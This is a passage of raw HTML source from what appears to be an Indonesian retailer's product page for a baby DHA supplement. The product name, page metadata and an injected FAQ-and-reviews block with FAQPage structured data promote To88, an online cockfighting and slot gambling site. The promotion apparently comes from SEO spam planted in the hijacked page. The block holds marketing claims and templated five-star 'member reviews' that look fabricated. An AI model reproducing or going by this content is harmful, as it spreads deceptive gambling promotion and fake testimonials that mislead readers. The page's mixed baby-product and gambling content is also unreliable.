class=\"price\">Rp 5.000<\/span>","minimal_price":"<span class=\"price\">Rp 5.000<\/span>","max_regular_price":"<span class=\"price\">Rp 5.000<\/span>","minimal_regular_price":null,"special_price":null,"regular_price":"<span class=\"price\">Rp 5.000<\/span>"},"extension_attributes":{"msrp":{"msrp_price":"<span class=\"price\">Rp 0<\/span>","is_applicable":"","is_shown_price_on_gesture":"1","msrp_message":"","explanation_message":"Our price is lower than the manufacturer's "minimum advertised price." As a result, we cannot show you the price in catalog or the product page. <br><br> You have no obligation to purchase the product once you know the price. You can simply remove the item from your cart."},"tax_adjustments":{"final_price":10000,"max_price":10000,"max_regular_price":10000,"minimal_regular_price":10000,"special_price":10000,"minimal_price":10000,"regular_price":10000,"formatted_prices":{"final_price":"<span class=\"price\">Rp 5.000<\/span>","max_price":"<span class=\"price\">Rp 5.000<\/span>","minimal_price":"<span class=\"price\">Rp 5.000<\/span>","max_regular_price":"<span class=\"price\">Rp 5.000<\/span>","minimal_regular_price":null,"special_price":"<span class=\"price\">Rp 5.000<\/span>","regular_price":"<span class=\"price\">Rp 5.000<\/span>"}},"weee_attributes":[],"weee_adjustment":"<span class=\"price\">Rp 5.000<\/span>"}},"images":[{"url":"https:\/\/www.mothercare.co.id\/media\/catalog\/product\/1\/1\/119669web1_1.jpg?width=325&height=325&canvas=325,325&optimize=low&bg-color=255,255,255&fit=bounds","code":"recently_viewed_products_grid_content_widget","height":325,"width":325,"label":"Nordic Natural Baby's DHA","resized_width":325,"resized_height":325},{"url":"https:\/\/www.mothercare.co.id\/media\/catalog\/product\/1\/1\/119669web1_1.jpg?width=270&height=270&canvas=270,270&optimize=low&bg-color=255,255,255&fit=bounds","code":"recently_viewed_products_list_content_widget","height":270,"width":270,"label":"Nordic Natural Baby's DHA","resized_width":270,"resized_height":270},{"url":"https:\/\/www.mothercare.co.id\/media\/catalog\/product\/1\/1\/119669web1_1.jpg?width=156&height=156&canvas=156,156&optimize=low&bg-color=255,255,255&fit=bounds","code":"recently_viewed_products_images_names_widget","height":156,"width":156,"label":"Nordic Natural Baby's DHA","resized_width":156,"resized_height":156},{"url":"https:\/\/www.mothercare.co.id\/media\/catalog\/product\/1\/1\/119669web1_1.jpg?width=325&height=325&canvas=325,325&optimize=low&bg-color=255,255,255&fit=bounds","code":"recently_compared_products_grid_content_widget","height":325,"width":325,"label":"Nordic Natural Baby's DHA","resized_width":325,"resized_height":325},{"url":"https:\/\/www.mothercare.co.id\/media\/catalog\/product\/1\/1\/119669web1_1.jpg?width=270&height=207&canvas=270,207&optimize=low&bg-color=255,255,255&fit=bounds","code":"recently_compared_products_list_content_widget","height":207,"width":270,"label":"Nordic Natural Baby's DHA","resized_width":270,"resized_height":207},{"url":"https:\/\/www.mothercare.co.id\/media\/catalog\/product\/1\/1\/119669web1_1.jpg?width=156&height=156&canvas=156,156&o
12048ptimize=low&bg-color=255,255,255&fit=bounds","code":"recently_compared_products_images_names_widget","height":156,"width":156,"label":"Nordic Natural Baby's DHA","resized_width":156,"resized_height":156}],"url":"https:\/\/www.mothercare.co.id\/nordic-naturals-baby-s-dha-52135545-AYO01.html","id":600193,"name":"TO88 - Blog Komunitas Pencinta Game Online Berbagi Trik dan Informasi","type":"configurable","is_salable":"1","store_id":15,"currency_code":"IDR","extension_attributes":{"wishlist_button":{"post_data":null,"url":"{\"action\":\"https:\\\/\\\/www.mothercare.co.id\\\/wishlist\\\/index\\\/add\\\/\",\"data\":{\"product\":600193,\"uenc\":\"aHR0cHM6Ly93d3cubW90aGVyY2FyZS5jby5pZC9ub3JkaWMtbmF0dXJhbHMtYmFieS1zLWRoYS01MjEzMDEyNS1jbm8wMS5odG1s\"}}","required_options":null},"review_html":" <div class=\"product-reviews-summary short empty\">\n <div class=\"reviews-actions\">\n \n <\/div>\n <\/div>\n"},"is_available":true}},"store":"15","currency":"IDR","productCurrentScope":"website"} } 12049 } 12050 } 12051</script>
12051 12052
12052<script data-role="msrp-popup-template" type="text/x-magento-template"> <div id="map-popup-click-for-price" class="map-popup"> 12053 <div class="popup-header"> 12054 <strong class="title" id="map-popup-heading-price"></strong> 12055 </div> 12056 <div class="popup-content"> 12057 <div class="map-info-price" id="map-popup-content"> 12058 <div class="price-box"> 12059 <div class="map-msrp" id="map-popup-msrp-box"> 12060 <span class="label">Harga</span> 12061 <span class="old-price map-old-price" id="map-popup-msrp"> 12062 <span class="price"></span> 12063 </span> 12064 </div> 12065 <div class="map-price" id="map-popup-price-box"> 12066 <span class="label">harga asli </span> 12067 <span id="map-popup-price" class="actual-price"></span> 12068 </div> 12069 </div> 12070 <form action="" method="POST" class="map-form-addtocart"> 12071 <input type="hidden" name="product" class="product_id" value="" /> 12072 <button type="button" 12073 title="+ keranjang" 12074 class="action tocart primary"> 12075 <span>+ keranjang</span> 12076 </button> 12077 <div class="additional-addtocart-box"> 12078 </div> 12079 </form> 12080 </div> 12081 <div class="map-text" id="map-popup-text"> 12082 Our price is lower than the manufacturer's "minimum advertised price." As a result, we cannot show you the price in catalog or the product page. <br><br> You have no obligation to purchase the product once you know the price. You can simply remove the item from your cart. </div> 12083 </div> 12084 </div> 12085 </script>
12085 12086
12086<script data-role="msrp-info-template" type="text/x-magento-template"> <div id="map-popup-what-this" class="map-popup"> 12087 <div class="popup-header"> 12088 <strong class="title" id="map-popup-heading-what-this"></strong> 12089 </div> 12090 <div class="popup-content"> 12091 <div class="map-help-text" id="map-popup-text-what-this"> 12092 Our price is lower than the manufacturer's "minimum advertised price." As a result, we cannot show you the price in catalog or the product page. <br><br> You have no obligation to purchase the product once you know the price. You can simply remove the item from your cart. </div> 12093 </div> 12094 </div> 12095 </script>
12095 12096 <!--suppress ES6ConvertVarToLetConst --> 12097
12097<script type="text/javascript" id="klevu_page_meta"> 12098 var klevu_page_meta = { 12099 "platform": "magento2", 12100 "pageType": "pdp", 12101 "itemName": "TO88 - Blog Komunitas Pencinta Game Online Berbagi Trik dan Informasi", 12102 "itemUrl": "https:\/\/www.mothercare.co.id\/nordic-naturals-baby-s-dha-52135545-AYO01.html", 12103 "itemId": "600193-598663", 12104 "itemGroupId": "600193" 12105 }; 12106 </script>
12106 12107 <div class="sharing-buttons mobile-sharing-button"> 12108 <label>Share product:</label> 12109 <div class="sharethis-inline-share-buttons"></div> 12110 <!--
12110<script type="text/javascript" src="//platform-api.sharethis.com/js/sharethis.js#property=58afdee0eeab5d00125e8fd6&product=inline-share-buttons"></script>
12110--> 12111 <!--
12111<script type='text/javascript' src='//platform-api.sharethis.com/js/sharethis.js#property=5baf03a9752ef70011efcea0&product=inline-share-buttons' async='async'></script>
12111--> 12112
12112<script type="text/javascript" src="//platform-api.sharethis.com/js/sharethis.js#property=5baf03a9752ef70011efcea0&product=inline-share-buttons"></script>
12112 12113 </div> 12114 <!-- <style type="text/css"> 12115 12116 .catalog-product-view .page-main .sharing-buttons.mobile-sharing-button{ 12117 12118 display: none; 12119 } 12120 12121 @media (max-width: 768px) { 12122 12123 .catalog-product-view .product.info.detailed .data.item.title { 12124 order: unset; 12125 } 12126 12127 .catalog-product-view .page-main .sharing-buttons{ 12128 display: none; 12129 } 12130 12131 .catalog-product-view .page-main .sharing-buttons.mobile-sharing-button{ 12132 display: block; 12133 } 12134 .catalog-product-view .page-main .sharing-buttons.mobile-sharing-button label{ 12135 font-family: 'mothercare_2020-regular-webfont'; 12136 font-style: normal; 12137 font-weight: 400; 12138 font-size: 16px; 12139 line-height: 150%; 12140 letter-spacing: -0.011em; 12141 text-transform: lowercase; 12142 color: #7d1616; 12143 display: block; 12144 text-align: center; 12145 padding: 10px 0px; 12146 } 12147 .catalog-product-view .page-main .sharing-buttons.mobile-sharing-button .st-btn.st-first, 12148 .catalog-product-view .page-main .sharing-buttons.mobile-sharing-button .st-btn.st-last { 12149 background: #7d1616 !important; 12150 } 12151 12152 .catalog-product-view .page-main .product-info-main .product-info{ 12153 display: contents !important; 12154 } 12155 12156 .catalog-product-view .page-main .product-info-main .product.attribute.overview{ 12157 order: 1 !important; 12158 } 12159 .catalog-product-view .page-main .product-info-main .product-config{ 12160 display: contents !important; 12161 } 12162 .catalog-product-view .page-main .sharing-buttons{ 12163 order: 1; 12164 } 12165 12166 } 12167</style> 12168 --> 12169 <div class="products-widget-container"> 12170 <!--
12170<script type="text/javascript"> 12171 require(['jquery', 'jquery/ui', 'slick'], function($) { 12172 $(document).ready(function() { 12173 if ($('body').hasClass('checkout-cart-index')) { 12174 $(".widget.widget-crosssell .product-items").slick({ 12175 dots: false, 12176 arrows: true, // Show arrows for larger screens 12177 infinite: false, 12178 slidesToShow: 4, 12179 slidesToScroll: 1, 12180 responsive: [ 12181 { 12182 breakpoint: 1024, 12183 settings: { 12184 slidesToShow: 3, 12185 slidesToScroll: 1, 12186 } 12187 }, 12188 { 12189 breakpoint: 600, 12190 settings: { 12191 slidesToShow: 3, 12192 slidesToScroll: 1 12193 } 12194 }, 12195 { 12196 breakpoint: 480, 12197 settings: { 12198 slidesToShow: 2.5, 12199 slidesToScroll: 1, 12200 arrows: false 12201 } 12202 }, 12203 { 12204 breakpoint: 430, 12205 settings: { 12206 slidesToShow: 2.5, 12207 slidesToScroll: 1, 12208 arrows: false 12209 } 12210 }, 12211 { 12212 breakpoint: 390, 12213 settings: { 12214 slidesToShow: 2.5, 12215 slidesToScroll: 1, 12216 arrows: false // Hide arrows for mobile sizes 12217 } 12218 }, 12219 { 12220 breakpoint: 375, 12221 settings: { 12222 slidesToShow: 2.5, 12223 slidesToScroll: 1, 12224 arrows: false // Hide arrows for mobile sizes 12225 } 12226 } 12227 ] 12228 }); 12229 } 12230 }); 12231 }); 12232</script>
12232 --> 12233 <style> 12234 /* ===================================================== 12235 To88 FAQ + MEMBER REVIEWS 12236 ===================================================== */ 12237 .dw-info-section { 12238 --dw-orange: #ff9800; 12239 --dw-orange-dark: #a94b00; 12240 --dw-yellow: #ffd84d; 12241 --dw-yellow-light: #fff3a3; 12242 --dw-dark: #190b00; 12243 --dw-card: rgba(48, 20, 0, 0.88); 12244 --dw-border: rgba(255, 205, 68, 0.32); 12245 --dw-text: #ffffff; 12246 --dw-muted: #f7dfbd; 12247 width: 100%; 12248 box-sizing: border-box; 12249 padding: 55px 20px; 12250 color: var(--dw-text); 12251 font-family: Arial, Helvetica, sans-serif; 12252 background: 12253 radial-gradient(circle at 10% 0%, rgb(255 255 255 / 22%), transparent 32%), radial-gradient(circle at 95% 100%, rgb(255 255 255 / 22%), transparent 35%), linear-gradient(135deg, #750808 0%, #680c0c 48%, #7c0707 100%); 12254 border-top: 2px solid rgb(255 255 255 / 45%); 12255 border-bottom: 2px solid rgb(255 255 255 / 45%); 12256 position: relative; 12257 overflow: hidden; 12258 } 12259 12260 /* BACKGROUND DECORATION */ 12261 .dw-info-section::before { 12262 content: ""; 12263 position: absolute; 12264 width: 280px; 12265 height: 280px; 12266 top: -160px; 12267 right: -100px; 12268 border-radius: 50%; 12269 background: rgb(255 255 255 / 12%); 12270 box-shadow: 0 0 90px rgb(255 255 255 / 35%); 12271 pointer-events: none; 12272 } 12273 12274 .dw-info-container { 12275 width: 100%; 12276 max-width: 1200px; 12277 margin: 0 auto; 12278 position: relative; 12279 z-index: 2; 12280 } 12281 12282 /* SECTION HEADER */ 12283 .dw-section-heading { 12284 max-width: 900px; 12285 margin: 0 auto 34px; 12286 text-align: center; 12287 } 12288 12289 .dw-section-badge { 12290 display: inline-block; 12291 margin-bottom: 12px; 12292 padding: 8px 15px; 12293 border: 1px solid rgb(255 255 255 / 65%); 12294 border-radius: 50px; 12295 color: #ffffff; 12296 background: linear-gradient(180deg, #595959, #000000); 12297 font-size: 12px; 12298 font-weight: 900; 12299 letter-spacing: 1px; 12300 text-transform: uppercase; 12301 box-shadow: 0 0 18px rgb(255 255 255 / 32%); 12302 } 12303 12304 .dw-section-heading h2 { 12305 margin: 0 0 12px; 12306 color: #ffffff; 12307 font-size: clamp(24px, 4vw, 34px); 12308 line-height: 1.25; 12309 font-weight: 900; 12310 text-shadow: 12311 0 3px 0 rgb(0 0 0 / 80%), 0 0 16px rgb(255 255 255 / 36%); 12312 } 12313 12314 .dw-section-heading p { 12315 max-width: 820px; 12316 margin: 0 auto; 12317 color: #ff0000; 12318 font-size: 15px; 12319 line-height: 1.8; 12320 } 12321 12322 /* FAQ + REVIEWS SIDE BY SIDE */ 12323 .dw-main-grid { 12324 display: grid; 12325 grid-template-columns: minmax(0, 1fr) minmax(0, 1fr); 12326 gap: 24px; 12327 align-items: start; 12328 } 12329 12330 /* MAIN PANELS */ 12331 .dw-panel { 12332 min-width: 0; 12333 padding: 22px; 12334 border: 2px solid rgb(255 255 255 / 32%); 12335 border-radius: 18px; 12336 background: 12337 linear-gradient(160deg, rgba(255, 255, 255, 0.065), rgba(255, 255, 255, 0.015)), rgb(58 0 0 / 88%); 12338 box-shadow: 12339 0 18px 35px rgba(0, 0, 0, 0.38), 12340 inset 0 1px 0 rgba(255, 255, 255, 0.08); 12341 backdrop-filter: blur(8px); 12342 } 12343 12344 .dw-panel-header { 12345 padding-bottom: 17px; 12346 margin-bottom: 16px; 12347 border-bottom: 1px solid rgb(255 255 255 / 22%); 12348 } 12349 12350 .dw-panel-header h3 { 12351 margin: 0 0 7px; 12352 color: #ffffff; 12353 font-size: 22px; 12354 line-height: 1.3; 12355 font-weight: 900; 12356 } 12357 12358 .dw-panel-header p { 12359 margin: 0; 12360 color: #ff0000; 12361 font-size: 13px; 12362 line-height: 1.6; 12363 } 12364 12365 /* ===================================================== 12366 FAQ 12367 ===================================================== */ 12368 .dw-faq-list { 12369 display: grid; 12370 gap: 11px; 12371 } 12372 12373 .dw-faq-item { 12374 overflow: hidden; 12375 border: 1px solid rgb(255 255 255 / 25%); 12376 border-radius: 12px; 12377 background: rgba(255, 255, 255, 0.035); 12378 transition: 12379 border-color 0.3s ease, 12380 box-shadow 0.3s ease, 12381 transform 0.3s ease; 12382 } 12383 12384 .dw-faq-item:hover { 12385 border-color: rgba(255, 208, 76, 0.48); 12386 } 12387 12388 .dw-faq-item.dw-active { 12389 border-color: rgb(255 255 255 / 75%); 12390 box-shadow: 0 8px 24px rgba(255, 145, 0, 0.13); 12391 } 12392 12393 .dw-faq-question { 12394 width: 100%; 12395 min-height: 60px; 12396 padding: 15px 16px; 12397 border: 0; 12398 outline: 0; 12399 color: #ffffff; 12400 background: transparent; 12401 font-family: inherit; 12402 font-size: 14px; 12403 line-height: 1.5; 12404 font-weight: 800; 12405 text-align: left; 12406 cursor: pointer; 12407 display: flex; 12408 align-items: center; 12409 justify-content: space-between; 12410 gap: 14px; 12411 } 12412 12413 .dw-faq-question:hover { 12414 background: rgba(255, 255, 255, 0.07); 12415 } 12416 12417 .dw-faq-icon { 12418 width: 29px; 12419 height: 29px; 12420 min-width: 29px; 12421 border-radius: 50%; 12422 color: #000000; 12423 background: linear-gradient(145deg, #ffffff, #ffffff); 12424 font-size: 21px; 12425 line-height: 29px; 12426 font-weight: 900; 12427 text-align: center; 12428 box-shadow: 0 0 12px rgb(255 255 255 / 25%); 12429 transition: transform 0.3s ease; 12430 } 12431 12432 .dw-faq-item.dw-active .dw-faq-icon { 12433 transform: rotate(45deg); 12434 } 12435 12436 .dw-faq-answer { 12437 max-height: 0; 12438 overflow: hidden; 12439 transition: max-height 0.38s ease; 12440 } 12441 12442 .dw-faq-answer-inner { 12443 padding: 0 16px 17px; 12444 color: #ff0000; 12445 font-size: 13px; 12446 line-height: 1.75; 12447 } 12448 12449 .dw-faq-answer-inner p { 12450 margin: 0; 12451 } 12452 12453 /* ===================================================== 12454 MEMBER REVIEWS 12455 ===================================================== */ 12456 .dw-reviews-scroll { 12457 max-height: 675px; 12458 padding-right: 6px; 12459 overflow-y: auto; 12460 scroll-behavior: smooth; 12461 } 12462 12463 .dw-reviews-scroll::-webkit-scrollbar { 12464 width: 7px; 12465 } 12466 12467 .dw-reviews-scroll::-webkit-scrollbar-track { 12468 border-radius: 50px; 12469 background: rgba(255, 255, 255, 0.07); 12470 } 12471 12472 .dw-reviews-scroll::-webkit-scrollbar-thumb { 12473 border-radius: 50px; 12474 background: linear-gradient(180deg, #ffe56b, #ed8200); 12475 } 12476 12477 .dw-reviews-grid { 12478 display: grid; 12479 grid-template-columns: repeat(2, minmax(0, 1fr)); 12480 gap: 13px; 12481 } 12482 12483 .dw-review-card { 12484 min-width: 0; 12485 padding: 16px; 12486 border: 1px solid rgb(255 255 255 / 28%); 12487 border-radius: 13px; 12488 background: 12489 linear-gradient(145deg, rgb(255 255 255 / 9%), rgba(255, 255, 255, 0.025)); 12490 box-shadow: 0 8px 20px rgba(0, 0, 0, 0.22); 12491 transition: 12492 transform 0.3s ease, 12493 border-color 0.3s ease, 12494 box-shadow 0.3s ease; 12495 } 12496 12497 .dw-review-card:hover { 12498 transform: translateY(-3px); 12499 border-color: rgba(255, 221, 100, 0.7); 12500 box-shadow: 12501 0 12px 24px rgba(0, 0, 0, 0.32), 12502 0 0 15px rgba(255, 151, 0, 0.11); 12503 } 12504 12505 .dw-review-header { 12506 display: flex; 12507 align-items: flex-start; 12508 justify-content: space-between; 12509 gap: 10px; 12510 margin-bottom: 11px; 12511 } 12512
12513 .dw-review-user { 12514 display: flex; 12515 align-items: center; 12516 min-width: 0; 12517 gap: 9px; 12518 } 12519 12520 .dw-review-avatar { 12521 width: 36px; 12522 height: 36px; 12523 min-width: 36px; 12524 border-radius: 50%; 12525 color: #000000; 12526 background: linear-gradient(145deg, #ffffff, #9f9f9f); 12527 font-size: 14px; 12528 line-height: 36px; 12529 font-weight: 900; 12530 text-align: center; 12531 box-shadow: 0 0 12px rgba(255, 173, 0, 0.25); 12532 } 12533 12534 .dw-review-name { 12535 display: block; 12536 overflow: hidden; 12537 color: #ffffff; 12538 font-size: 14px; 12539 line-height: 1.35; 12540 font-weight: 900; 12541 text-overflow: ellipsis; 12542 white-space: nowrap; 12543 } 12544 12545 .dw-review-label { 12546 display: block; 12547 margin-top: 2px; 12548 color: #ff0000; 12549 font-size: 10px; 12550 font-weight: 700; 12551 letter-spacing: 0.4px; 12552 } 12553 12554 .dw-review-stars { 12555 flex: 0 0 auto; 12556 color: #ffd33d; 12557 font-size: 14px; 12558 line-height: 1; 12559 letter-spacing: 1px; 12560 text-shadow: 0 0 7px rgba(255, 198, 0, 0.52); 12561 } 12562 12563 .dw-review-text { 12564 margin: 0 0 13px; 12565 color: #ffffff; 12566 font-size: 12.5px; 12567 line-height: 1.7; 12568 } 12569 12570 .dw-review-date { 12571 display: block; 12572 padding-top: 10px; 12573 border-top: 1px solid rgb(255 255 255 / 14%); 12574 color: #ffffff; 12575 font-size: 10px; 12576 font-weight: 700; 12577 text-align: right; 12578 } 12579 12580 /* INFORMATION NOTE */ 12581 .dw-disclaimer { 12582 margin-top: 21px; 12583 padding: 13px 15px; 12584 border-left: 4px solid #ffffff; 12585 border-radius: 7px; 12586 color: #ffffff; 12587 background: rgb(255 255 255 / 8%); 12588 font-size: 11px; 12589 line-height: 1.65; 12590 } 12591 12592 /* TABLET */ 12593 @media screen and (max-width: 991px) { 12594 .dw-main-grid { 12595 grid-template-columns: 1fr; 12596 } 12597 12598 .dw-reviews-scroll { 12599 max-height: 620px; 12600 } 12601 } 12602 12603 /* MOBILE */ 12604 @media screen and (max-width: 620px) { 12605 .dw-info-section { 12606 padding: 42px 13px; 12607 } 12608 12609 .dw-panel { 12610 padding: 16px; 12611 border-radius: 14px; 12612 } 12613 12614 .dw-panel-header h3 { 12615 font-size: 19px; 12616 } 12617 12618 .dw-reviews-grid { 12619 grid-template-columns: 1fr; 12620 } 12621 12622 .dw-reviews-scroll { 12623 max-height: 650px; 12624 padding-right: 3px; 12625 } 12626 12627 .dw-faq-question { 12628 padding: 14px; 12629 font-size: 13px; 12630 } 12631 12632 .dw-faq-answer-inner { 12633 padding: 0 14px 15px; 12634 } 12635 } 12636 </style> 12637 <section class="dw-info-section" id="To88-faq-reviews"> 12638 <div class="dw-info-container"> 12639 <div class="dw-section-heading"> 12640 <span class="dw-section-badge">Informasi dan Ulasan Member</span> 12641 <h2>FAQ dan Review Teratas Member To88</h2> 12642 <p> Temukan informasi umum mengenai situs SABUNG AYAM dan slot gacor di To88. </p> 12643 </div> 12644 <div class="dw-main-grid"> 12645 <!-- FAQ LEFT -->
12646 <div class="dw-panel dw-faq-panel"> 12647 <div class="dw-panel-header"> 12648 <h3>FAQ To88</h3> 12649 <p>Klik pertanyaan untuk membuka jawabannya.</p> 12650 </div> 12651 <div class="dw-faq-list"> 12652 <div class="dw-faq-item dw-active"> 12653 <button class="dw-faq-question" type="button" aria-expanded="true"> 12654 <span>Apa itu platform To88?</span> 12655 <span class="dw-faq-icon">+</span> 12656 </button> 12657 <div class="dw-faq-answer"> 12658 <div class="dw-faq-answer-inner"> 12659 <p> To88 adalah kedai main sabung ayam resmi yang menyediakan tayangan live arena To88 selama 24 jam nonstop dengan kualitas siaran definisi tinggi dan koneksi server terstabil. </p> 12660 </div> 12661 </div> 12662 </div> 12663 <div class="dw-faq-item"> 12664 <button class="dw-faq-question" type="button" aria-expanded="false"> 12665 <span>Siapa saja yang dapat mengakses layanan To88?</span> 12666 <span class="dw-faq-icon">+</span> 12667 </button> 12668 <div class="dw-faq-answer"> 12669 <div class="dw-faq-answer-inner"> 12670 <p> Platform ini dirancang untuk seluruh penggemar rekreasi laga ayam digital online yang menginginkan sarana hiburan interaktif yang praktis, transparan, dan aman. </p> 12671 </div> 12672 </div> 12673 </div> 12674 <div class="dw-faq-item"> 12675 <button class="dw-faq-question" type="button" aria-expanded="false"> 12676 <span>Di mana platform To88 dapat diakses?</span> 12677 <span class="dw-faq-icon">+</span> 12678 </button> 12679 <div class="dw-faq-answer"> 12680 <div class="dw-faq-answer-inner"> 12681 <p> Pengguna dapat mengakses To88 secara langsung melalui peramban (browser) pada perangkat ponsel pintar (Android/iOS), tablet, maupun PC desktop tanpa perlu mengunduh aplikasi tambahan. </p> 12682 </div> 12683 </div> 12684 </div> 12685 <div class="dw-faq-item"> 12686 <button class="dw-faq-question" type="button" aria-expanded="false"> 12687 <span>Kapan siaran live arena dan layanan transaksi dapat diakses?</span> 12688 <span class="dw-faq-icon">+</span> 12689 </button> 12690 <div class="dw-faq-answer"> 12691 <div class="dw-faq-answer-inner"> 12692 <p> Seluruh siaran langsung live arena To88, alur transaksi finansial, serta fasilitas bantuan pelanggan (Customer Service) aktif beroperasi penuh selama 24 jam nonstop setiap hari. </p> 12693 </div> 12694 </div> 12695 </div> 12696 <div class="dw-faq-item"> 12697 <button class="dw-faq-question" type="button" aria-expanded="false"> 12698 <span>Mengapa To88 menjadi pilihan utama untuk sabung ayam resmi To88?</span> 12699 <span class="dw-faq-icon">+</span> 12700 </button> 12701 <div class="dw-faq-answer"> 12702 <div class="dw-faq-answer-inner"> 12703 <p> Karena To88 menghadirkan siaran live streaming jernih tanpa buffer, antarmuka yang intuitif, perlindungan data privasi ketat, serta kepastian transaksi otomatis yang serba instan. </p> 12704 </div> 12705 </div> 12706 </div>
12707 <div class="dw-faq-item"> 12708 <button class="dw-faq-question" type="button" aria-expanded="false"> 12709 <span>Bagaimana To88 menjamin keamanan dan kenyamanan pengguna?</span> 12710 <span class="dw-faq-icon">+</span> 12711 </button> 12712 <div class="dw-faq-answer"> 12713 <div class="dw-faq-answer-inner"> 12714 <p> Dengan menerapkan protokol enkripsi data canggih untuk mengamankan privasi akun, serta mengandalkan sistem otomatisasi yang memproses pengisian dan penarikan saldo secara presisi. </p> 12715 </div> 12716 </div> 12717 </div> 12718 </div> 12719 </div> 12720 <!-- REVIEWS RIGHT --> 12721 <div class="dw-panel dw-review-panel"> 12722 <div class="dw-panel-header"> 12723 <h3>Review Teratas Member To88</h3> 12724 <p>Geser ke bawah untuk membaca review lainnya.</p> 12725 </div> 12726 <div class="dw-reviews-scroll"> 12727 <div class="dw-reviews-grid"> 12728 <article class="dw-review-card"> 12729 <div class="dw-review-header"> 12730 <div class="dw-review-user"> 12731 <span class="dw-review-avatar">B</span> 12732 <div> 12733 <span class="dw-review-name">Bagas T. (Lampung)</span> 12734 <span class="dw-review-label">Member Review</span> 12735 </div> 12736 </div> 12737 <span class="dw-review-stars">â â â â â </span> 12738 </div> 12739 <p class="dw-review-text"> Nonton siaran langsung sabung ayam di To88 tidak pernah patah-patah. Kualitas gambarnya HD, sangat jernih, dan benar-benar real-time. </p> 12740 <time class="dw-review-date" datetime="2026-04-10"> 12 APRIL 2026 </time> 12741 </article> 12742 <article class="dw-review-card"> 12743 <div class="dw-review-header"> 12744 <div class="dw-review-user"> 12745 <span class="dw-review-avatar">H</span> 12746 <div> 12747 <span class="dw-review-name">Heri S. (Palembang)</span> 12748 <span class="dw-review-label">Member Review</span> 12749 </div> 12750 </div> 12751 <span class="dw-review-stars">â â â â â </span> 12752 </div> 12753 <p class="dw-review-text"> Sangat praktis bisa memantau arena kapan saja sesuai waktu luang. Tampilan websitenya simpel dan gampang diakses dari HP Android. </p> 12754 <time class="dw-review-date" datetime="2026-04-15"> 15 April 2026 </time> 12755 </article> 12756 <article class="dw-review-card"> 12757 <div class="dw-review-header"> 12758 <div class="dw-review-user"> 12759 <span class="dw-review-avatar">A</span> 12760 <div> 12761 <span class="dw-review-name">Anton W. (Bali)</span> 12762 <span class="dw-review-label">Member Review</span> 12763 </div> 12764 </div> 12765 <span class="dw-review-stars">â â â â â </span> 12766 </div> 12767 <p class="dw-review-text"> Pengisian saldo dan penarikan dana diproses cepat banget tanpa ribet. Kecepatan sistem finansial To88 sangat memuaskan dan tepat waktu. </p> 12768 <time class="dw-review-date" datetime="2026-04-12"> 12 APRIL 2026 </time> 12769 </article> 12770 <article class="dw-review-card"> 12771 <div class="dw-review-header">
12772 <div class="dw-review-user"> 12773 <span class="dw-review-avatar">W</span> 12774 <div> 12775 <span class="dw-review-name">Wahyu K. (Pontianak)</span> 12776 <span class="dw-review-label">Member Review</span> 12777 </div> 12778 </div> 12779 <span class="dw-review-stars">â â â â </span> 12780 </div> 12781 <p class="dw-review-text"> Tim CS selalu siaga 24 jam nonstop. Waktu tanya-tanya seputar navigasi fitur arena, penjelasannya cepat, ramah, dan solutif. </p> 12782 <time class="dw-review-date" datetime="2026-04-20"> 20 APRIL 2026 </time> 12783 </article> 12784 <article class="dw-review-card"> 12785 <div class="dw-review-header"> 12786 <div class="dw-review-user"> 12787 <span class="dw-review-avatar">Y</span> 12788 <div> 12789 <span class="dw-review-name">Yudi A. (Makassar)</span> 12790 <span class="dw-review-label">Member Review</span> 12791 </div> 12792 </div> 12793 <span class="dw-review-stars">â â â â </span> 12794 </div> 12795 <p class="dw-review-text"> Privasi terjaga dengan baik dan koneksi sistemnya sangat stabil. Menikmati hiburan laga ayam digital di To88 rasanya aman dan tenang. </p> 12796 <time class="dw-review-date" datetime="2026-04-25"> 25 APRIL 2026 </time> 12797 </article> 12798 </div> 12799 </div> 12800 </div> 12801 </div> 12802 <div class="dw-disclaimer"> Catatan: hasil permainan bersifat acak dan tidak ada pola, istilah, nilai deposit atau nilai taruhan yang dapat menjamin kemenangan. Gunakan batas pengeluaran dan bermain secara bertanggung jawab. </div> 12803 </div> 12804 </section> 12805
12805<script type="application/ld+json"> 12806 { 12807 "@context": "https://schema.org", 12808 "@type": "FAQPage", 12809 "mainEntity": [{ 12810 "@type": "Question", 12811 "name": "Apa itu platform To88?", 12812 "acceptedAnswer": { 12813 "@type": "Answer", 12814 "text": "To88 adalah kedai main sabung ayam resmi yang menyediakan tayangan live arena To88 selama 24 jam nonstop dengan kualitas siaran definisi tinggi dan koneksi server terstabil." 12815 } 12816 }, { 12817 "@type": "Question", 12818 "name": "Siapa saja yang dapat mengakses layanan To88?", 12819 "acceptedAnswer": { 12820 "@type": "Answer", 12821 "text": "Platform ini dirancang untuk seluruh penggemar rekreasi laga ayam digital online yang menginginkan sarana hiburan interaktif yang praktis, transparan, dan aman." 12822 } 12823 }, { 12824 "@type": "Question", 12825 "name": "Di mana platform To88 dapat diakses?", 12826 "acceptedAnswer": { 12827 "@type": "Answer", 12828 "text": "Pengguna dapat mengakses To88 secara langsung melalui peramban (browser) pada perangkat ponsel pintar (Android/iOS), tablet, maupun PC desktop tanpa perlu mengunduh aplikasi tambahan." 12829 } 12830 }, { 12831 "@type": "Question", 12832 "name": "Kapan siaran live arena dan layanan transaksi dapat diakses?", 12833 "acceptedAnswer": { 12834 "@type": "Answer", 12835 "text": "Seluruh siaran langsung live arena To88, alur transaksi finansial, serta fasilitas bantuan pelanggan (Customer Service) aktif beroperasi penuh selama 24 jam nonstop setiap hari." 12836 } 12837 }, { 12838 "@type": "Question", 12839 "name": "Mengapa To88 menjadi pilihan utama untuk sabung ayam resmi To88?", 12840 "acceptedAnswer": { 12841 "@type": "Answer", 12842 "text": "Karena To88 menghadirkan siaran live streaming jernih tanpa buffer, antarmuka yang intuitif, perlindungan data privasi ketat, serta kepastian transaksi otomatis yang serba instan." 12843 } 12844 }, { 12845 "@type": "Question", 12846 "name": "Bagaimana To88 menjamin keamanan dan kenyamanan pengguna?", 12847 "acceptedAnswer": { 12848 "@type": "Answer", 12849 "text": "Dengan menerapkan protokol enkripsi data canggih untuk mengamankan privasi akun, serta mengandalkan sistem otomatisasi yang memproses pengisian dan penarikan saldo secara presisi." 12850 } 12851 }] 12852 } 12853 </script>
12853 12854
